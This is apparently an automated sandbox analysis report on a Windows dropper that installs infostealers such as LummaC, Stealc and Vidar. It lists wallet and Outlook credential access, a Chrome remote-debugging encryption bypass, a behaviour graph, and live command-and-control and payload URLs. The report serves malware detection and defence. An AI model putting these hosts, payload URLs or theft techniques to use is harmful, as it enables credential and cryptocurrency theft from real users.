Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Tries to steal Mail credentials (via file / registry access)
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004
OS version to string mapping found (often used in BOTs)
Source: px4Y74kUj2.exe Binary or memory string: WIN_81
Source: px4Y74kUj2.exe Binary or memory string: WIN_XP
Source: 22a0986bef.exe, 00000023.00000002.3035837291.0000000000902000.00000002.00000001.01000000.00000017.sdmp Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_11WIN_10WIN_2022WIN_2019WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\AppearanceUSERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYRegDeleteKeyExWadvapi32.dll+.-.\\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs](*UCP)\XISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGGETCOUNTSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXPANDmsctls_statusbar321tooltips_class32%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----@GUI_DRAGID@GUI_DROPID@GUI_DRAGFILEError text not found (please report)Q\EDEFINEUTF16)UTF)UCP)NO_AUTO_POSSESS)NO_START_OPT)LIMIT_MATCH=LIMIT_RECURSION=CR)LF)CRLF)ANY)ANYCRLF)BSR_ANYCRLF)BSR_UNICODE)argument is not a compiled regular expressionargument not compiled in 16 bit modeinternal error: opcode not recognizedinternal error: missing capturing bracketfailed to get memory
Source: px4Y74kUj2.exe Binary or memory string: WIN_XPe
Source: px4Y74kUj2.exe Binary or memory string: WIN_VISTA
Source: px4Y74kUj2.exe Binary or memory string: WIN_7
Source: px4Y74kUj2.exe Binary or memory string: WIN_8
Searches for user specific document files
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Directory queried: C:\Users\user\Documents
Yara detected Credential Stealer
Source: Yara match File source: 00000015.00000003.2910474593.000000000137F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000003.2910543373.0000000001332000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000024.00000003.3221294538.0000000001175000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: df1dfa8044.exe PID: 1364, type: MEMORYSTR

Remote Access Functionality
barindex
Attempt to bypass Chrome Application-Bound Encryption
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Yara detected Credential Flusher
Source: Yara match File source: Process Memory Space: e65eefc791.exe PID: 7100, type: MEMORYSTR
Yara detected Cryptbot
Source: Yara match File source: Process Memory Space: f9cb675f2a.exe PID: 4040, type: MEMORYSTR
Yara detected LummaC Stealer
Source: Yara match File source: Process Memory Space: df1dfa8044.exe PID: 1364, type: MEMORYSTR
Source: Yara match File source: 00000015.00000003.2838268892.0000000005020000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000024.00000003.3023909601.0000000004CC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Yara detected Stealc
Source: Yara match File source: 00000016.00000003.2895006235.0000000005870000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000037.00000003.3132949873.0000000004E20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000036.00000003.3138923765.00000000050E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: d04aa34f51.exe PID: 2744, type: MEMORYSTR
Yara detected Vidar stealer
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_004B1204 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket, 0_2_004B1204
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_004B1806 socket,WSAGetLastError,bind,WSAGetLastError,closesocket, 0_2_004B1806
windows-stand
Behavior
Click here to start
Slideshow Behavior Animation
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1611839 Sample: px4Y74kUj2.exe Startdate: 11/02/2025 Architecture: WINDOWS Score: 100 129 youtube.com 2->129 131 rebeldettern.com 2->131 133 5 other IPs or domains 2->133 175 Suricata IDS alerts for network traffic 2->175 177 Found malware configuration 2->177 179 Antivirus detection for URL or domain 2->179 181 33 other signatures 2->181 10 skotes.exe 2->10         started        15 px4Y74kUj2.exe 1 2->15         started        17 df1dfa8044.exe 2->17         started        19 7 other processes 2->19 signatures3 process4 dnsIp5 155 185.215.113.43, 49986, 49987, 49992 WHOLESALECONNECTIONSNL Portugal 10->155 157 185.215.113.75, 49988, 80 WHOLESALECONNECTIONSNL Portugal 10->157 109 C:\Users\user\AppData\Local\...\Bjkm5hE.exe, PE32 10->109 dropped 111 C:\Users\user\AppData\Local\...\KUQRYpJ.exe, PE32+ 10->111 dropped 113 C:\Users\user\AppData\...\a0be961972.exe, PE32 10->113 dropped 121 21 other malicious files 10->121 dropped 239 Creates multiple autostart registry keys 10->239 241 Hides threads from debuggers 10->241 243 Tries to detect sandboxes / dynamic malware analysis system (registry check) 10->243 21 d04aa34f51.exe 10->21         started        26 df1dfa8044.exe 10->26         started        28 22a0986bef.exe 10->28         started        40 3 other processes 10->40 115 C:\Users\user\AppData\Local\...\yH08AR1uj.hta, HTML 15->115 dropped 245 Binary is likely a compiled AutoIt script file 15->245 247 Found API chain indicative of sandbox detection 15->247 249 Creates HTA files 15->249 30 mshta.exe 1 15->30         started        32 cmd.exe 1 15->32         started        117 C:\...\TG67OTJ18BVHVRMCFQ98FSDHWCPRENC.exe, PE32 17->117 dropped 119 C:\Users\...\BYDYGQX1ICXGMYWQ53H5H6EE1S.exe, PE32 17->119 dropped 251 Query firmware table information (likely to detect VMs) 17->251 253 Tries to harvest and steal ftp login credentials 17->253 255 Tries to harvest and steal browser information (history, passwords, etc) 17->255 257 Tries to steal Crypto Currency Wallets 17->257 159 127.0.0.1 unknown unknown 19->159 259 Suspicious powershell command line found 19->259 261 Tries to download and execute files (via powershell) 19->261 263 Tries to detect process monitoring tools (Task Manager, Process Explorer etc.) 19->263 34 powershell.exe 16 19->34         started        36 firefox.exe 19->36         started        38 powershell.exe 19->38         started        file6 signatures7 process8 dnsIp9 135 185.215.113.115 WHOLESALECONNECTIONSNL Portugal 21->135 91 C:\Users\user\AppData\...\vcruntime140[1].dll, PE32 21->91 dropped 93 C:\Users\user\AppData\...\softokn3[1].dll, PE32 21->93 dropped 107 11 other malicious files 21->107 dropped 195 Attempt to bypass Chrome Application-Bound Encryption 21->195 197 Tries to detect sandboxes and other dynamic analysis tools (window names) 21->197 217 9 other signatures 21->217 53 2 other processes 21->53 137 ignoredshee.com 188.114.97.3, 443, 49995, 49997 CLOUDFLARENETUS European Union 26->137 95 C:\Users\user\...\VXAIPJHLIAGNKZRZS3E57X.exe, PE32 26->95 dropped 97 C:\Users\...\1R8VAMVCMJURVKW1AD8R7RQGWD8J.exe, PE32 26->97 dropped 199 Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines) 26->199 201 Query firmware table information (likely to detect VMs) 26->201 203 Found many strings related to Crypto-Wallets (likely being stolen) 26->203 42 1R8VAMVCMJURVKW1AD8R7RQGWD8J.exe 26->42         started        99 C:\Users\user\AppData\Local\...\os46r5CTT.hta, HTML 28->99 dropped 205 Binary is likely a compiled AutoIt script file 28->205 207 Creates HTA files 28->207 55 2 other processes 28->55 209 Suspicious powershell command line found 30->209 211 Tries to download and execute files (via powershell) 30->211 45 powershell.exe 15 19 30->45         started        213 Uses schtasks.exe or at.exe to add and modify task schedules 32->213 57 2 other processes 32->57 59 2 other processes 34->59 139 youtube.com 142.250.184.238 GOOGLEUS United States 36->139 141 prod.detectportal.prod.cloudops.mozgcp.net 34.107.221.82 GOOGLEUS United States 36->141 147 10 other IPs or domains 36->147 101 C:\Users\user\AppData\...\gmpopenh264.dll.tmp, PE32+ 36->101 dropped 103 C:\Users\user\...\gmpopenh264.dll (copy), PE32+ 36->103 dropped 105 C:\Users\user\AppData\...\places.sqlite-wal, SQLite 36->105 dropped 49 firefox.exe 36->49         started        51 conhost.exe 38->51         started        143 home.fivepp5sb.top 147.45.198.132, 49994, 80 FREE-NET-ASFREEnetEU Russian Federation 40->143 145 httpbin.org 34.236.83.153, 443, 49991 AMAZON-AESUS United States 40->145 215 Detected unpacking (changes PE section rights) 40->215 219 4 other signatures 40->219 61 6 other processes 40->61 file10 signatures11 process12 dnsIp13 221 Tries to evade debugger and weak emulator (self modifying code) 42->221 223 Hides threads from debuggers 42->223 225 Tries to detect sandboxes / dynamic malware analysis system (registry check) 42->225 161 185.215.113.16, 49731, 49993, 49998 WHOLESALECONNECTIONSNL Portugal 45->161 123 TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE, PE32 45->123 dropped 227 Found many strings related to Crypto-Wallets (likely being stolen) 45->227 229 Powershell drops PE file 45->229 63 TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE 4 45->63         started        67 conhost.exe 45->67         started        163 192.168.2.6, 443, 49706, 49709 unknown unknown 53->163 165 239.255.255.250 unknown Reserved 53->165 231 Monitors registry run keys for changes 53->231 69 chrome.exe 53->69         started        72 msedge.exe 53->72         started        233 Suspicious powershell command line found 55->233 235 Tries to download and execute files (via powershell) 55->235 74 powershell.exe 55->74         started        80 2 other processes 55->80 237 Tries to detect process monitoring tools (Task Manager, Process Explorer etc.) 59->237 76 conhost.exe 61->76         started        78 conhost.exe 61->78         started        82 3 other processes 61->82 file14 signatures15 process16 dnsIp17 125 C:\Users\user\AppData\Local\...\skotes.exe, PE32 63->125 dropped 167 Multi AV Scanner detection for dropped file 63->167 169 Detected unpacking (changes PE section rights) 63->169 171 Tries to evade debugger and weak emulator (self modifying code) 63->171 173 4 other signatures 63->173 84 skotes.exe 63->84         started        149 plus.l.google.com 142.250.185.142 GOOGLEUS United States 69->149 151 www.google.com 142.250.185.164 GOOGLEUS United States 69->151 153 2 other IPs or domains 69->153 127 TempIT9W4RB2COSCVHXC8LEINHLFZETORTDY.EXE, PE32 74->127 dropped 87 TempIT9W4RB2COSCVHXC8LEINHLFZETORTDY.EXE 74->87         started        89 conhost.exe 74->89         started        file18 signatures19 process20 signatures21 183 Multi AV Scanner detection for dropped file 84->183 185 Detected unpacking (changes PE section rights) 84->185 187 Tries to evade debugger and weak emulator (self modifying code) 84->187 189 Hides threads from debuggers 87->189 191 Tries to detect sandboxes / dynamic malware analysis system (registry check) 87->191 193 Tries to detect process monitoring tools (Task Manager, Process Explorer etc.) 87->193
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
185.215.113.43
 unknown Portugal
206894 WHOLESALECONNECTIONSNL true
151.101.1.91
 unknown United States
54113 FASTLYUS false
34.117.188.166
 unknown United States
139070 GOOGLE-AS-APGoogleAsiaPacificPteLtdSG false
142.250.185.164
 www.google.com United States
15169 GOOGLEUS false
142.250.185.142
 plus.l.google.com United States
15169 GOOGLEUS false
34.236.83.153
 httpbin.org United States
14618 AMAZON-AESUS false
34.120.208.123
 unknown United States
15169 GOOGLEUS false
185.215.113.115
 unknown Portugal
206894 WHOLESALECONNECTIONSNL true
147.45.198.132
 home.fivepp5sb.top Russian Federation
2895 FREE-NET-ASFREEnetEU false
185.215.113.75
 unknown Portugal
206894 WHOLESALECONNECTIONSNL false
2.22.61.56
 unknown European Union
20940 AKAMAI-ASN1EU false
34.149.100.209
 unknown United States
2686 ATGS-MMD-ASUS false
185.215.113.16
 unknown Portugal
206894 WHOLESALECONNECTIONSNL true
34.107.243.93
 unknown United States
15169 GOOGLEUS false
34.107.221.82
 prod.detectportal.prod.cloudops.mozgcp.net United States
15169 GOOGLEUS false
52.35.181.117
 unknown United States
16509 AMAZON-02US false
35.244.181.201
 unknown United States
15169 GOOGLEUS false
188.114.97.3
 ignoredshee.com European Union
13335 CLOUDFLARENETUS false
239.255.255.250
 unknown Reserved
unknown unknown false
35.190.72.216
 prod.classify-client.prod.webservices.mozgcp.net United States
15169 GOOGLEUS false
142.250.184.238
 youtube.com United States
15169 GOOGLEUS false
34.160.144.191
 unknown United States
2686 ATGS-MMD-ASUS false

Private

IP
192.168.2.6
127.0.0.1

Contacted Domains

Name IP Active
prod.classify-client.prod.webservices.mozgcp.net 35.190.72.216 true
rebeldettern.com 172.67.150.254 true
ignoredshee.com 188.114.97.3 true
prod.detectportal.prod.cloudops.mozgcp.net 34.107.221.82 true
home.fivepp5sb.top 147.45.198.132 true
plus.l.google.com 142.250.185.142 true
play.google.com 142.250.186.174 true
s-part-0017.t-0009.t-msedge.net 13.107.246.45 true
www.google.com 142.250.185.164 true
httpbin.org 34.236.83.153 true
youtube.com 142.250.184.238 true
detectportal.firefox.com unknown unknown
apis.google.com unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://t.me/sok33tn false
    		high
    voicesharped.com false
      		high
      http://185.215.113.43/Zu7JuNko/index.php false
        		high
        http://home.fivepp5sb.top/joLepLgSzIBRhlkJbQYx1739003311 true
        • Avira URL Cloud: malware
        		 unknown
        http://185.215.113.115/68b591d6548ec281/vcruntime140.dll false
          		high
          tope.fivepp5sb.top true
          • Avira URL Cloud: malware
          		 unknown
          https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0 false
            		high
            actiothreaz.com false
              		high
              breedertremnd.com false
                		high
                http://185.215.113.115/ false
                  		high
                  http://185.156.73.73/service false
                  • Avira URL Cloud: safe
                  		 unknown
                  ignoredshee.com false
                    		high
                    http://185.215.113.115/68b591d6548ec281/freebl3.dll false
                      		high
                      https://rebeldettern.com/api false
                        		high
                        http://detectportal.firefox.com/canonical.html false
                          		high
                          http://185.215.113.115/68b591d6548ec281/softokn3.dll false
                            		high
                            http://185.215.113.115/c4becf79229cb002.php false
                              		high
                              http://185.156.73.73/success?substr=mixtwo&s=three&sub=non false
                              • Avira URL Cloud: safe
                              		 unknown
                              http://185.215.113.115/68b591d6548ec281/mozglue.dll false
                                		high
                                importenptoc.com false
                                  		high
                                  http://185.156.73.73/update false
                                  • Avira URL Cloud: safe
                                  		 unknown
                                  inputrreparnt.com false
                                    		high
                                    http://185.215.113.16/mine/random.exe false
                                      		high
                                      http://home.fivepp5sb.top/joLepLgSzIBRhlkJbQYx1739003311?argument=0 true
                                      • Avira URL Cloud: malware
                                      		 unknown
                                      https://pkn0ta.xyz/ true
                                      • Avira URL Cloud: safe
                                      		 unknown
                                      http://185.215.113.115/68b591d6548ec281/msvcp140.dll false
                                        		high
                                        garulouscuto.com false
                                          		high
                                          https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.l2ZUC8FxqV8.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/rs=AHpOoo9xAAkaXO7Lqf7-9uTpZLtrkpWaXQ/cb=gapi.loaded_0 false
                                            		high
                                            http://185.156.73.73/info false
                                            • Avira URL Cloud: safe
                                            		 unknown
                                            rebeldettern.com false
                                              		high
                                              torpdidebar.com false
                                                		high
                                                https://ignoredshee.com/api false
                                                  		high
                                                  https://www.google.com/async/newtab_promos false
                                                    		high
                                                    home.fivepp5sb.top true
                                                    • Avira URL Cloud: malware
                                                    		 unknown
                                                    https://httpbin.org/ip false
                                                      		high
                                                      http://185.215.113.115/68b591d6548ec281/nss3.dll false
                                                        		high
                                                        https://www.google.com/async/ddljson?async=ntp:2 false
                                                          		high
                                                          https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw false
                                                            		high